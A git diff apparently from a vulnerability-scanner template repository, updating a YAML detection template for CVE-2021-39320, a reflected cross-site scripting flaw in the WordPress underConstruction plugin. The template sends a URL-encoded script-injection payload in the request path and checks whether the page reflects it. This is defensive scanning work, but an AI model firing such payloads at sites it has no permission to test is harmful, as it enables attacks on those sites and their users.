diff --git a/cves/2021/CVE-2021-39320.yaml b/cves/2021/CVE-2021-39320.yaml
index 3e5a9c2cc1..9c8808cd68 100644
--- a/cves/2021/CVE-2021-39320.yaml
+++ b/cves/2021/CVE-2021-39320.yaml
@@ -4,25 +4,29 @@ info:
   name: underConstruction < 1.19 - Reflected Cross-Site Scripting
   author: dhiyaneshDK
   severity: medium
+  description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
   reference:
     - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
-  tags: wordpress,xss,cves,cve2021
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.10
     cve-id: CVE-2021-39320
     cwe-id: CWE-79
-  description: "The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path."
+  tags: wordpress,xss,cve,cve2021,wp-plugin
+
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/wp-admin/admin.php/"><script>alert(/XSS/)</script>/?page=under-construction'
+      - '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'
+
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - '<script>alert(/XSS/)</script>'
+          - '</script><script>alert(document.domain)</script>'
+
       - type: word
         part: header
         words: